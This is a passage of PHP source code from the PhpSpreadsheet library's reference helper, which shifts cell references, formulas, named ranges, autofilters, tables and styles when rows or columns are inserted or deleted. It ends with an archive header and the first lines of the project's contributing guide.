(e.g. 'A1') * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) * @param Worksheet $worksheet The worksheet that we're editing */ public function insertNewBefore( string $beforeCellAddress, int $numberOfColumns, int $numberOfRows, Worksheet $worksheet ): void { $remove = ($numberOfColumns < 0 || $numberOfRows < 0); if ( $this->cellReferenceHelper === null || $this->cellReferenceHelper->refreshRequired($beforeCellAddress, $numberOfColumns, $numberOfRows) ) { $this->cellReferenceHelper = new CellReferenceHelper($beforeCellAddress, $numberOfColumns, $numberOfRows); } // Get coordinate of $beforeCellAddress [$beforeColumn, $beforeRow, $beforeColumnString] = Coordinate::indexesFromString($beforeCellAddress); // Clear cells if we are removing columns or rows $highestColumn = $worksheet->getHighestColumn(); $highestDataColumn = $worksheet->getHighestDataColumn(); $highestRow = $worksheet->getHighestRow(); $highestDataRow = $worksheet->getHighestDataRow(); // 1. Clear column strips if we are removing columns if ($numberOfColumns < 0 && $beforeColumn - 2 + $numberOfColumns > 0) { $this->clearColumnStrips($highestRow, $beforeColumn, $numberOfColumns, $worksheet); } // 2. Clear row strips if we are removing rows if ($numberOfRows < 0 && $beforeRow - 1 + $numberOfRows > 0) { $this->clearRowStrips($highestColumn, $beforeColumn, $beforeRow, $numberOfRows, $worksheet); } // Find missing coordinates. This is important when inserting or deleting column before the last column $startRow = $startCol = 1; $startColString = 'A'; if ($numberOfRows === 0) { $startCol = $beforeColumn; $startColString = $beforeColumnString; } elseif ($numberOfColumns === 0) { $startRow = $beforeRow; } $highColumn = Coordinate::columnIndexFromString($highestDataColumn); for ($row = $startRow; $row <= $highestDataRow; ++$row) { for ($col = $startCol, $colString = $startColString; $col <= $highColumn; ++$col, ++$colString) { $worksheet->getCell("$colString$row"); // create cell if it doesn't exist } } $allCoordinates = $worksheet->getCoordinates(); if ($remove) { // It's faster to reverse and pop than to use unshift, especially with large cell collections $allCoordinates = array_reverse($allCoordinates); } // Loop through cells, bottom-up, and change cell coordinate while ($coordinate = array_pop($allCoordinates)) { $cell = $worksheet->getCell($coordinate); $cellIndex = Coordinate::columnIndexFromString($cell->getColumn()); if ($cellIndex - 1 + $numberOfColumns < 0) { continue; } // New coordinate $newCoordinate = Coordinate::stringFromColumnIndex($cellIndex + $numberOfColumns) . ($cell->getRow() + $numberOfRows); // Should the cell be updated? Move value and cellXf index from one cell to another. if (($cellIndex >= $beforeColumn) && ($cell->getRow() >= $beforeRow)) { // Update cell styles $worksheet->getCell($newCoordinate)->setXfIndex($cell->getXfIndex()); // Insert this cell at its new location if ($cell->getDataType() === DataType::TYPE_FORMULA) { // Formula should be adjusted $worksheet->getCell($newCoordinate) ->setValue($this->updateFormulaReferences($cell->getValue(), $beforeCellAddress, $numberOfColumns, $numberOfRows, $worksheet->getTitle(), true)); } else { // Cell value should not be adjusted $worksheet->getCell($newCoordinate)->setValueExplicit($cell->getValue(), $cell->getDataType()); } // Clear the original cell $worksheet->getCellCollection()->delete($coordinate); } else { /* We don't need to update styles for rows/columns before our insertion position, but we do still need to adjust any formulae in those cells */ if ($cell->getDataType() === DataType::TYPE_FORMULA) { // Formula should be adjusted $cell->setValue($this->updateFormulaReferences($cell->getValue(), $beforeCellAddress, $numberOfColumns, $numberOfRows, $worksheet->getTitle(), true)); } } } // Duplicate styles for the newly inserted cells $highestColumn = $worksheet->getHighestColumn(); $highestRow = $worksheet->getHighestRow(); if ($numberOfColumns > 0 && $beforeColumn - 2 > 0) { $this->duplicateStylesByColumn($worksheet, $beforeColumn, $beforeRow, $highestRow, $numberOfColumns); } if ($numberOfRows > 0 && $beforeRow - 1 > 0) { $this->duplicateStylesByRow($worksheet, $beforeColumn, $beforeRow, $highestColumn, $numberOfRows); } // Update worksheet: column dimensions $this->adjustColumnDimensions($worksheet); // Update worksheet: row dimensions $this->adjustRowDimensions($worksheet, $beforeRow, $numberOfRows); // Update worksheet: page breaks $this->adjustPageBreaks($worksheet, $numberOfColumns, $numberOfRows); // Update worksheet: comments $this->adjustComments($worksheet); // Update worksheet: hyperlinks $this->adjustHyperlinks($worksheet, $numberOfColumns, $numberOfRows); // Update worksheet: conditional formatting styles $this->adjustConditionalFormatting($worksheet, $numberOfColumns, $numberOfRows); // Update worksheet: data validations $this->adjustDataValidations($worksheet, $numberOfColumns, $numberOfRows); // Update worksheet: merge cells $this->adjustMergeCells($worksheet); // Update worksheet: protected cells $this->adjustProtectedCells($worksheet, $numberOfColumns, $numberOfRows); // Update worksheet: autofilter $this->adjustAutoFilter($worksheet, $beforeCellAddress, $numberOfColumns); // Update worksheet: table $this->adjustTable($worksheet, $beforeCellAddress, $numberOfColumns); // Update worksheet: freeze pane if ($worksheet->getFreezePane()) { $splitCell = $worksheet->getFreezePane(); $topLeftCell = $worksheet->getTopLeftCell() ?? ''; $splitCell = $this->updateCellReference($splitCell); $topLeftCell = $this->updateCellReference($topLeftCell); $worksheet->freezePane($splitCell, $topLeftCell); } // Page setup if ($worksheet->getPageSetup()->isPrintAreaSet()) { $worksheet->getPageSetup()->setPrintArea( $this->updateCellReference($worksheet->getPageSetup()->getPrintArea()) ); } // Update worksheet: drawings $aDrawings = $worksheet->getDrawingCollection(); foreach ($aDrawings as $objDrawing) { $newReference = $this->updateCellReference($objDrawing->getCoordinates()); if ($objDrawing->getCoordinates() != $newReference) { $objDrawing->setCoordinates($newReference); } if ($objDrawing->getCoordinates2() !== '') { $newReference = $this->updateCellReference($objDrawing->getCoordinates2()); if ($objDrawing->getCoordinates2() != $newReference) { $objDrawing->setCoordinates2($newReference); } } } // Update workbook: define names if (count($worksheet->getParentOrThrow()->getDefinedNames()) > 0) { $this->updateDefinedNames($worksheet, $beforeCellAddress, $numberOfColumns, $numberOfRows); } // Garbage collect $worksheet->garbageCollect(); } private static function matchSheetName(?string $match, string $worksheetName): bool { return $match === null || $match === '' || $match === "'\u{fffc}'" || $match === "'\u{fffb}'" || strcasecmp(trim($match, "'"), $worksheetName) === 0; } private static function sheetnameBeforeCells(string $match, string $worksheetName, string $cells): string { $toString = ($match > '') ? "$match!" : ''; return str_replace(["\u{fffc}", "'\u{fffb}'"], $worksheetName, $toString) . $cells; } /** * Update references within formulas. * * @param string $formula Formula to update * @param string $beforeCellAddress Insert before this one * @param int $numberOfColumns Number of columns to insert * @param int $numberOfRows Number of rows to insert * @param string $worksheetName Worksheet name/title * * @return string Updated formula */ public function updateFormulaReferences( string $formula = '', string $beforeCellAddress = 'A1', int $numberOfColumns = 0, int $numberOfRows = 0, string $worksheetName = '', bool $includeAbsoluteReferences = false, bool $onlyAbsoluteReferences = false ): string { $callback = fn (array $matches): string => (strcasecmp(trim($matches[2], "'"), $worksheetName) === 0) ? (($matches[2][0] === "'") ? "'\u{fffc}'!" : "'\u{fffb}'!") : "'\u{fffd}'!"; if ( $this->cellReferenceHelper === null || $this->cellReferenceHelper->refreshRequired($beforeCellAddress, $numberOfColumns, $numberOfRows) ) { $this->cellReferenceHelper = new CellReferenceHelper($beforeCellAddress, $numberOfColumns, $numberOfRows); } // Update cell references in the formula $formulaBlocks = explode('"', $formula); $i = false; foreach ($formulaBlocks as &$formulaBlock) { // Ignore blocks that were enclosed in quotes (alternating entries in the $formulaBlocks array after the explode) $i = $i === false; if ($i) { $adjustCount = 0; $newCellTokens = $cellTokens = []; // Search for row ranges (e.g. 'Sheet1'!3:5 or 3:5) with or without $ absolutes (e.g. $3:5) $formulaBlockx = ' ' . (preg_replace_callback(self::SHEETNAME_PART_WITH_SLASHES, $callback, $formulaBlock) ?? $formulaBlock) . ' '; $matchCount = preg_match_all('/' . self::REFHELPER_REGEXP_ROWRANGE . '/mui', $formulaBlockx, $matches, PREG_SET_ORDER); if ($matchCount > 0) { foreach ($matches as $match) { $fromString = self::sheetnameBeforeCells($match[2], $worksheetName, "{$match[3]}:{$match[4]}"); $modified3 = substr($this->updateCellReference('$A' . $match[3], $includeAbsoluteReferences, $onlyAbsoluteReferences), 2); $modified4 = substr($this->updateCellReference('$A' . $match[4], $includeAbsoluteReferences, $onlyAbsoluteReferences), 2); if ($match[3] . ':' . $match[4] !== $modified3 . ':' . $modified4) { if (self::matchSheetName($match[2], $worksheetName)) { $toString = self::sheetnameBeforeCells($match[2], $worksheetName, "$modified3:$modified4"); // Max worksheet size is 1,048,576 rows by 16,384 columns in Excel 2007, so our adjustments need to be at least one digit more $column = 100000; $row = 10000000 + (int) trim($match[3], '$'); $cellIndex = "{$column}{$row}"; $newCellTokens[$cellIndex] = preg_quote($toString, '/'); $cellTokens[$cellIndex] = '/(?<!\d\$\!)' . preg_quote($fromString, '/') . '(?!\d)/i'; ++$adjustCount; } } } } // Search for column ranges (e.g. 'Sheet1'!C:E or C:E) with or without $ absolutes (e.g. $C:E) $formulaBlockx = ' ' . (preg_replace_callback(self::SHEETNAME_PART_WITH_SLASHES, $callback, $formulaBlock) ?? $formulaBlock) . ' '; $matchCount = preg_match_all('/' . self::REFHELPER_REGEXP_COLRANGE . '/mui', $formulaBlockx, $matches, PREG_SET_ORDER); if ($matchCount > 0) { foreach ($matches as $match) { $fromString = self::sheetnameBeforeCells($match[2], $worksheetName, "{$match[3]}:{$match[4]}"); $modified3 = substr($this->updateCellReference($match[3] . '$1', $includeAbsoluteReferences, $onlyAbsoluteReferences), 0, -2); $modified4 = substr($this->updateCellReference($match[4] . '$1', $includeAbsoluteReferences, $onlyAbsoluteReferences), 0, -2); if ($match[3] . ':' . $match[4] !== $modified3 . ':' . $modified4) { if (self::matchSheetName($match[2], $worksheetName)) { $toString = self::sheetnameBeforeCells($match[2], $worksheetName, "$modified3:$modified4"); // Max worksheet size is 1,048,576 rows by 16,384 columns in Excel 2007, so our adjustments need to be at least one digit more $column = Coordinate::columnIndexFromString(trim($match[3], '$')) + 100000; $row = 10000000; $cellIndex = "{$column}{$row}"; $newCellTokens[$cellIndex] = preg_quote($toString, '/'); $cellTokens[$cellIndex] = '/(?<![A-Z\$\!])' . preg_quote($fromString, '/') . '(?![A-Z])/i'; ++$adjustCount; } } } } // Search for cell ranges (e.g. 'Sheet1'!A3:C5 or A3:C5) with or without $ absolutes (e.g. $A1:C$5) $formulaBlockx = ' ' . (preg_replace_callback(self::SHEETNAME_PART_WITH_SLASHES, $callback, "$formulaBlock") ?? "$formulaBlock") . ' '; $matchCount = preg_match_all('/' . self::REFHELPER_REGEXP_CELLRANGE . '/mui', $formulaBlockx, $matches, PREG_SET_ORDER); if ($matchCount > 0) { foreach ($matches as $match) { $fromString = self::sheetnameBeforeCells($match[2], $worksheetName, "{$match[3]}:{$match[4]}"); $modified3 = $this->updateCellReference($match[3], $includeAbsoluteReferences, $onlyAbsoluteReferences); $modified4 = $this->updateCellReference($match[4], $includeAbsoluteReferences, $onlyAbsoluteReferences); if ($match[3] . $match[4] !== $modified3 . $modified4) { if (self::matchSheetName($match[2], $worksheetName)) { $toString = self::sheetnameBeforeCells($match[2], $worksheetName, "$modified3:$modified4"); [$column, $row] = Coordinate::coordinateFromString($match[3]); // Max worksheet size is 1,048,576 rows by 16,384 columns in Excel 2007, so our adjustments need to be at least one digit more $column = Coordinate::columnIndexFromString(trim($column, '$')) + 100000; $row = (int) trim($row, '$') + 10000000; $cellIndex = "{$column}{$row}"; $newCellTokens[$cellIndex] = preg_quote($toString, '/'); $cellTokens[$cellIndex] = '/(?<![A-Z]\$\!)' . preg_quote($fromString, '/') . '(?!\d)/i'; ++$adjustCount; } } } } // Search for cell references (e.g. 'Sheet1'!A3 or C5) with or without $ absolutes (e.g. $A1 or C$5) $formulaBlockx = ' ' . (preg_replace_callback(self::SHEETNAME_PART_WITH_SLASHES, $callback, $formulaBlock) ?? $formulaBlock) . ' '; $matchCount = preg_match_all('/' . self::REFHELPER_REGEXP_CELLREF . '/mui', $formulaBlockx, $matches, PREG_SET_ORDER); if ($matchCount > 0) { foreach ($matches as $match) { $fromString = self::sheetnameBeforeCells($match[2], $worksheetName, "{$match[3]}"); $modified3 = $this->updateCellReference($match[3], $includeAbsoluteReferences, $onlyAbsoluteReferences); if ($match[3] !== $modified3) { if (self::matchSheetName($match[2], $worksheetName)) { $toString = self::sheetnameBeforeCells($match[2], $worksheetName, "$modified3"); [$column, $row] = Coordinate::coordinateFromString($match[3]); $columnAdditionalIndex = $column[0] === '$' ? 1 : 0; $rowAdditionalIndex = $row[0] === '$' ? 1 : 0; // Max worksheet size is 1,048,576 rows by 16,384 columns in Excel 2007, so our adjustments need to be at least one digit more $column = Coordinate::columnIndexFromString(trim($column, '$')) + 100000; $row = (int) trim($row, '$') + 10000000; $cellIndex = $row . $rowAdditionalIndex . $column . $columnAdditionalIndex; $newCellTokens[$cellIndex] = preg_quote($toString, '/'); $cellTokens[$cellIndex] = '/(?<![A-Z\$\!])' . preg_quote($fromString, '/') . '(?!\d)/i'; ++$adjustCount; } } } } if ($adjustCount > 0) { if ($numberOfColumns > 0 || $numberOfRows > 0) { krsort($cellTokens); krsort($newCellTokens); } else { ksort($cellTokens); ksort($newCellTokens); } // Update cell references in the formula $formulaBlock = str_replace('\\', '', (string) preg_replace($cellTokens, $newCellTokens, $formulaBlock)); } } } unset($formulaBlock); // Then rebuild the formula string return implode('"', $formulaBlocks); } /** * Update all cell references within a formula, irrespective of worksheet. */ public function updateFormulaReferencesAnyWorksheet(string $formula = '', int $numberOfColumns = 0, int $numberOfRows = 0): string { $formula = $this->updateCellReferencesAllWorksheets($formula, $numberOfColumns, $numberOfRows); if ($numberOfColumns !== 0) { $formula = $this->updateColumnRangesAllWorksheets($formula, $numberOfColumns); } if ($numberOfRows !== 0) { $formula = $this->updateRowRangesAllWorksheets($formula, $numberOfRows); } return $formula; } private function updateCellReferencesAllWorksheets(string $formula, int $numberOfColumns, int $numberOfRows): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/mui', $formula, $splitRanges, PREG_OFFSET_CAPTURE ); $columnLengths = array_map('strlen', array_column($splitRanges[6], 0)); $rowLengths = array_map('strlen', array_column($splitRanges[7], 0)); $columnOffsets = array_column($splitRanges[6], 1); $rowOffsets = array_column($splitRanges[7], 1); $columns = $splitRanges[6]; $rows = $splitRanges[7]; while ($splitCount > 0) { --$splitCount; $columnLength = $columnLengths[$splitCount]; $rowLength = $rowLengths[$splitCount]; $columnOffset = $columnOffsets[$splitCount]; $rowOffset = $rowOffsets[$splitCount]; $column = $columns[$splitCount][0]; $row = $rows[$splitCount][0]; if (!empty($column) && $column[0] !== '$') { $column = ((Coordinate::columnIndexFromString($column) + $numberOfColumns) % AddressRange::MAX_COLUMN_INT) ?: AddressRange::MAX_COLUMN_INT; $column = Coordinate::stringFromColumnIndex($column); $rowOffset -= ($columnLength - strlen($column)); $formula = substr($formula, 0, $columnOffset) . $column . substr($formula, $columnOffset + $columnLength); } if (!empty($row) && $row[0] !== '$') { $row = (((int) $row + $numberOfRows) % AddressRange::MAX_ROW) ?: AddressRange::MAX_ROW; $formula = substr($formula, 0, $rowOffset) . $row . substr($formula, $rowOffset + $rowLength); } } return $formula; } private function updateColumnRangesAllWorksheets(string $formula, int $numberOfColumns): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_COLUMNRANGE_RELATIVE . '/mui', $formula, $splitRanges, PREG_OFFSET_CAPTURE ); $fromColumnLengths = array_map('strlen', array_column($splitRanges[1], 0)); $fromColumnOffsets = array_column($splitRanges[1], 1); $toColumnLengths = array_map('strlen', array_column($splitRanges[2], 0)); $toColumnOffsets = array_column($splitRanges[2], 1); $fromColumns = $splitRanges[1]; $toColumns = $splitRanges[2]; while ($splitCount > 0) { --$splitCount; $fromColumnLength = $fromColumnLengths[$splitCount]; $toColumnLength = $toColumnLengths[$splitCount]; $fromColumnOffset = $fromColumnOffsets[$splitCount]; $toColumnOffset = $toColumnOffsets[$splitCount]; $fromColumn = $fromColumns[$splitCount][0]; $toColumn = $toColumns[$splitCount][0]; if (!empty($fromColumn) && $fromColumn[0] !== '$') { $fromColumn = Coordinate::stringFromColumnIndex(Coordinate::columnIndexFromString($fromColumn) + $numberOfColumns); $formula = substr($formula, 0, $fromColumnOffset) . $fromColumn . substr($formula, $fromColumnOffset + $fromColumnLength); } if (!empty($toColumn) && $toColumn[0] !== '$') { $toColumn = Coordinate::stringFromColumnIndex(Coordinate::columnIndexFromString($toColumn) + $numberOfColumns); $formula = substr($formula, 0, $toColumnOffset) . $toColumn . substr($formula, $toColumnOffset + $toColumnLength); } } return $formula; } private function updateRowRangesAllWorksheets(string $formula, int $numberOfRows): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_ROWRANGE_RELATIVE . '/mui', $formula, $splitRanges, PREG_OFFSET_CAPTURE ); $fromRowLengths = array_map('strlen', array_column($splitRanges[1], 0)); $fromRowOffsets = array_column($splitRanges[1], 1); $toRowLengths = array_map('strlen', array_column($splitRanges[2], 0)); $toRowOffsets = array_column($splitRanges[2], 1); $fromRows = $splitRanges[1]; $toRows = $splitRanges[2]; while ($splitCount > 0) { --$splitCount; $fromRowLength = $fromRowLengths[$splitCount]; $toRowLength = $toRowLengths[$splitCount]; $fromRowOffset = $fromRowOffsets[$splitCount]; $toRowOffset = $toRowOffsets[$splitCount]; $fromRow = $fromRows[$splitCount][0]; $toRow = $toRows[$splitCount][0]; if (!empty($fromRow) && $fromRow[0] !== '$') { $fromRow = (int) $fromRow + $numberOfRows; $formula = substr($formula, 0, $fromRowOffset) . $fromRow . substr($formula, $fromRowOffset + $fromRowLength); } if (!empty($toRow) && $toRow[0] !== '$') { $toRow = (int) $toRow + $numberOfRows; $formula = substr($formula, 0, $toRowOffset) . $toRow . substr($formula, $toRowOffset + $toRowLength); } } return $formula; } /** * Update cell reference. * * @param string $cellReference Cell address or range of addresses * * @return string Updated cell range */ private function updateCellReference(string $cellReference = 'A1', bool $includeAbsoluteReferences = false, bool $onlyAbsoluteReferences = false): string { // Is it in another worksheet? Will not have to update anything. if (str_contains($cellReference, '!')) { return $cellReference; } // Is it a range or a single cell? if (!Coordinate::coordinateIsRange($cellReference)) { // Single cell /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; return $cellReferenceHelper->updateCellReference($cellReference, $includeAbsoluteReferences, $onlyAbsoluteReferences); } // Range return $this->updateCellRange($cellReference, $includeAbsoluteReferences, $onlyAbsoluteReferences); } /** * Update named formulae (i.e. containing worksheet references / named ranges). * * @param Spreadsheet $spreadsheet Object to update * @param string $oldName Old name (name to replace) * @param string $newName New name */ public function updateNamedFormulae(Spreadsheet $spreadsheet, string $oldName = '', string $newName = ''): void { if ($oldName == '') { return; } foreach ($spreadsheet->getWorksheetIterator() as $sheet) { foreach ($sheet->getCoordinates(false) as $coordinate) { $cell = $sheet->getCell($coordinate); if ($cell->getDataType() === DataType::TYPE_FORMULA) { $formula = $cell->getValue(); if (str_contains($formula, $oldName)) { $formula = str_replace("'" . $oldName . "'!", "'" . $newName . "'!", $formula); $formula = str_replace($oldName . '!', $newName . '!', $formula); $cell->setValueExplicit($formula, DataType::TYPE_FORMULA); } } } } } private function updateDefinedNames(Worksheet $worksheet, string $beforeCellAddress, int $numberOfColumns, int $numberOfRows): void { foreach ($worksheet->getParentOrThrow()->getDefinedNames() as $definedName) { if ($definedName->isFormula() === false) { $this->updateNamedRange($definedName, $worksheet, $beforeCellAddress, $numberOfColumns, $numberOfRows); } else { $this->updateNamedFormula($definedName, $worksheet, $beforeCellAddress, $numberOfColumns, $numberOfRows); } } } private function updateNamedRange(DefinedName $definedName, Worksheet $worksheet, string $beforeCellAddress, int $numberOfColumns, int $numberOfRows): void { $cellAddress = $definedName->getValue(); $asFormula = ($cellAddress[0] === '='); if ($definedName->getWorksheet() !== null && $definedName->getWorksheet()->getHashCode() === $worksheet->getHashCode()) { /** * If we delete the entire range that is referenced by a Named Range, MS Excel sets the value to #REF! * PhpSpreadsheet still only does a basic adjustment, so the Named Range will still reference Cells. * Note that this applies only when deleting columns/rows; subsequent insertion won't fix the #REF! * TODO Can we work out a method to identify Named Ranges that cease to be valid, so that we can replace * them with a #REF! */ if ($asFormula === true) { $formula = $this->updateFormulaReferences($cellAddress, $beforeCellAddress, $numberOfColumns, $numberOfRows, $worksheet->getTitle(), true, true); $definedName->setValue($formula); } else { $definedName->setValue($this->updateCellReference(ltrim($cellAddress, '='), true)); } } } private function updateNamedFormula(DefinedName $definedName, Worksheet $worksheet, string $beforeCellAddress, int $numberOfColumns, int $numberOfRows): void { if ($definedName->getWorksheet() !== null && $definedName->getWorksheet()->getHashCode() === $worksheet->getHashCode()) { /** * If we delete the entire range that is referenced by a Named Formula, MS Excel sets the value to #REF! * PhpSpreadsheet still only does a basic adjustment, so the Named Formula will still reference Cells. * Note that this applies only when deleting columns/rows; subsequent insertion won't fix the #REF! * TODO Can we work out a method to identify Named Ranges that cease to be valid, so that we can replace * them with a #REF! */ $formula = $definedName->getValue(); $formula = $this->updateFormulaReferences($formula, $beforeCellAddress, $numberOfColumns, $numberOfRows, $worksheet->getTitle(), true); $definedName->setValue($formula); } } /** * Update cell range. * * @param string $cellRange Cell range (e.g. 'B2:D4', 'B:C' or '2:3') * * @return string Updated cell range */ private function updateCellRange(string $cellRange = 'A1:A1', bool $includeAbsoluteReferences = false, bool $onlyAbsoluteReferences = false): string { if (!Coordinate::coordinateIsRange($cellRange)) { throw new Exception('Only cell ranges may be passed to this method.'); } // Update range $range = Coordinate::splitRange($cellRange); $ic = count($range); for ($i = 0; $i < $ic; ++$i) { $jc = count($range[$i]); for ($j = 0; $j < $jc; ++$j) { /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; if (ctype_alpha($range[$i][$j])) { $range[$i][$j] = Coordinate::coordinateFromString( $cellReferenceHelper->updateCellReference($range[$i][$j] . '1', $includeAbsoluteReferences, $onlyAbsoluteReferences) )[0]; } elseif (ctype_digit($range[$i][$j])) { $range[$i][$j] = Coordinate::coordinateFromString( $cellReferenceHelper->updateCellReference('A' . $range[$i][$j], $includeAbsoluteReferences, $onlyAbsoluteReferences) )[1]; } else { $range[$i][$j] = $cellReferenceHelper->updateCellReference($range[$i][$j], $includeAbsoluteReferences, $onlyAbsoluteReferences); } } } // Recreate range string return Coordinate::buildRange($range); } private function clearColumnStrips(int $highestRow, int $beforeColumn, int $numberOfColumns, Worksheet $worksheet): void { $startColumnId = Coordinate::stringFromColumnIndex($beforeColumn + $numberOfColumns); $endColumnId = Coordinate::stringFromColumnIndex($beforeColumn); for ($row = 1; $row <= $highestRow - 1; ++$row) { for ($column = $startColumnId; $column !== $endColumnId; ++$column) { $coordinate = $column . $row; $this->clearStripCell($worksheet, $coordinate); } } } private function clearRowStrips(string $highestColumn, int $beforeColumn, int $beforeRow, int $numberOfRows, Worksheet $worksheet): void { $startColumnId = Coordinate::stringFromColumnIndex($beforeColumn); ++$highestColumn; for ($column = $startColumnId; $column !== $highestColumn; ++$column) { for ($row = $beforeRow + $numberOfRows; $row <= $beforeRow - 1; ++$row) { $coordinate = $column . $row; $this->clearStripCell($worksheet, $coordinate); } } } private function clearStripCell(Worksheet $worksheet, string $coordinate): void { $worksheet->removeConditionalStyles($coordinate); $worksheet->setHyperlink($coordinate); $worksheet->setDataValidation($coordinate); $worksheet->removeComment($coordinate); if ($worksheet->cellExists($coordinate)) { $worksheet->getCell($coordinate)->setValueExplicit(null, DataType::TYPE_NULL); $worksheet->getCell($coordinate)->setXfIndex(0); } } private function adjustAutoFilter(Worksheet $worksheet, string $beforeCellAddress, int $numberOfColumns): void { $autoFilter = $worksheet->getAutoFilter(); $autoFilterRange = $autoFilter->getRange(); if (!empty($autoFilterRange)) { if ($numberOfColumns !== 0) { $autoFilterColumns = $autoFilter->getColumns(); if (count($autoFilterColumns) > 0) { $column = ''; $row = 0; sscanf($beforeCellAddress, '%[A-Z]%d', $column, $row); $columnIndex = Coordinate::columnIndexFromString((string) $column); [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($autoFilterRange); if ($columnIndex <= $rangeEnd[0]) { if ($numberOfColumns < 0) { $this->adjustAutoFilterDeleteRules($columnIndex, $numberOfColumns, $autoFilterColumns, $autoFilter); } $startCol = ($columnIndex > $rangeStart[0]) ? $columnIndex : $rangeStart[0]; // Shuffle columns in autofilter range if ($numberOfColumns > 0) { $this->adjustAutoFilterInsert($startCol, $numberOfColumns, $rangeEnd[0], $autoFilter); } else { $this->adjustAutoFilterDelete($startCol, $numberOfColumns, $rangeEnd[0], $autoFilter); } } } } $worksheet->setAutoFilter( $this->updateCellReference($autoFilterRange) ); } } private function adjustAutoFilterDeleteRules(int $columnIndex, int $numberOfColumns, array $autoFilterColumns, AutoFilter $autoFilter): void { // If we're actually deleting any columns that fall within the autofilter range, // then we delete any rules for those columns $deleteColumn = $columnIndex + $numberOfColumns - 1; $deleteCount = abs($numberOfColumns); for ($i = 1; $i <= $deleteCount; ++$i) { $columnName = Coordinate::stringFromColumnIndex($deleteColumn + 1); if (isset($autoFilterColumns[$columnName])) { $autoFilter->clearColumn($columnName); } ++$deleteColumn; } } private function adjustAutoFilterInsert(int $startCol, int $numberOfColumns, int $rangeEnd, AutoFilter $autoFilter): void { $startColRef = $startCol; $endColRef = $rangeEnd; $toColRef = $rangeEnd + $numberOfColumns; do { $autoFilter->shiftColumn(Coordinate::stringFromColumnIndex($endColRef), Coordinate::stringFromColumnIndex($toColRef)); --$endColRef; --$toColRef; } while ($startColRef <= $endColRef); } private function adjustAutoFilterDelete(int $startCol, int $numberOfColumns, int $rangeEnd, AutoFilter $autoFilter): void { // For delete, we shuffle from beginning to end to avoid overwriting $startColID = Coordinate::stringFromColumnIndex($startCol); $toColID = Coordinate::stringFromColumnIndex($startCol + $numberOfColumns); $endColID = Coordinate::stringFromColumnIndex($rangeEnd + 1); do { $autoFilter->shiftColumn($startColID, $toColID); ++$startColID; ++$toColID; } while ($startColID !== $endColID); } private function adjustTable(Worksheet $worksheet, string $beforeCellAddress, int $numberOfColumns): void { $tableCollection = $worksheet->getTableCollection(); foreach ($tableCollection as $table) { $tableRange = $table->getRange(); if (!empty($tableRange)) { if ($numberOfColumns !== 0) { $tableColumns = $table->getColumns(); if (count($tableColumns) > 0) { $column = ''; $row = 0; sscanf($beforeCellAddress, '%[A-Z]%d', $column, $row); $columnIndex = Coordinate::columnIndexFromString((string) $column); [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($tableRange); if ($columnIndex <= $rangeEnd[0]) { if ($numberOfColumns < 0) { $this->adjustTableDeleteRules($columnIndex, $numberOfColumns, $tableColumns, $table); } $startCol = ($columnIndex > $rangeStart[0]) ? $columnIndex : $rangeStart[0]; // Shuffle columns in table range if ($numberOfColumns > 0) { $this->adjustTableInsert($startCol, $numberOfColumns, $rangeEnd[0], $table); } else { $this->adjustTableDelete($startCol, $numberOfColumns, $rangeEnd[0], $table); } } } } $table->setRange($this->updateCellReference($tableRange)); } } } private function adjustTableDeleteRules(int $columnIndex, int $numberOfColumns, array $tableColumns, Table $table): void { // If we're actually deleting any columns that fall within the table range, // then we delete any rules for those columns $deleteColumn = $columnIndex + $numberOfColumns - 1; $deleteCount = abs($numberOfColumns); for ($i = 1; $i <= $deleteCount; ++$i) { $columnName = Coordinate::stringFromColumnIndex($deleteColumn + 1); if (isset($tableColumns[$columnName])) { $table->clearColumn($columnName); } ++$deleteColumn; } } private function adjustTableInsert(int $startCol, int $numberOfColumns, int $rangeEnd, Table $table): void { $startColRef = $startCol; $endColRef = $rangeEnd; $toColRef = $rangeEnd + $numberOfColumns; do { $table->shiftColumn(Coordinate::stringFromColumnIndex($endColRef), Coordinate::stringFromColumnIndex($toColRef)); --$endColRef; --$toColRef; } while ($startColRef <= $endColRef); } private function adjustTableDelete(int $startCol, int $numberOfColumns, int $rangeEnd, Table $table): void { // For delete, we shuffle from beginning to end to avoid overwriting $startColID = Coordinate::stringFromColumnIndex($startCol); $toColID = Coordinate::stringFromColumnIndex($startCol + $numberOfColumns); $endColID = Coordinate::stringFromColumnIndex($rangeEnd + 1); do { $table->shiftColumn($startColID, $toColID); ++$startColID; ++$toColID; } while ($startColID !== $endColID); } private function duplicateStylesByColumn(Worksheet $worksheet, int $beforeColumn, int $beforeRow, int $highestRow, int $numberOfColumns): void { $beforeColumnName = Coordinate::stringFromColumnIndex($beforeColumn - 1); for ($i = $beforeRow; $i <= $highestRow - 1; ++$i) { // Style $coordinate = $beforeColumnName . $i; if ($worksheet->cellExists($coordinate)) { $xfIndex = $worksheet->getCell($coordinate)->getXfIndex(); for ($j = $beforeColumn; $j <= $beforeColumn - 1 + $numberOfColumns; ++$j) { if (!empty($xfIndex) || $worksheet->cellExists([$j, $i])) { $worksheet->getCell([$j, $i])->setXfIndex($xfIndex); } } } } } private function duplicateStylesByRow(Worksheet $worksheet, int $beforeColumn, int $beforeRow, string $highestColumn, int $numberOfRows): void { $highestColumnIndex = Coordinate::columnIndexFromString($highestColumn); for ($i = $beforeColumn; $i <= $highestColumnIndex; ++$i) { // Style $coordinate = Coordinate::stringFromColumnIndex($i) . ($beforeRow - 1); if ($worksheet->cellExists($coordinate)) { $xfIndex = $worksheet->getCell($coordinate)->getXfIndex(); for ($j = $beforeRow; $j <= $beforeRow - 1 + $numberOfRows; ++$j) { if (!empty($xfIndex) || $worksheet->cellExists([$j, $i])) { $worksheet->getCell(Coordinate::stringFromColumnIndex($i) . $j)->setXfIndex($xfIndex); } } } } } /** * __clone implementation. Cloning should not be allowed in a Singleton! */ final public function __clone() { throw new Exception('Cloning a Singleton is not allowed!'); } } phpoffice/phpspreadsheet/CONTRIBUTING.md000064400000006041151676714400013773 0ustar00# Want to contribute? If you would like to contribute, here are some notes and guidelines: - All new development should be on feature/fix branches, which 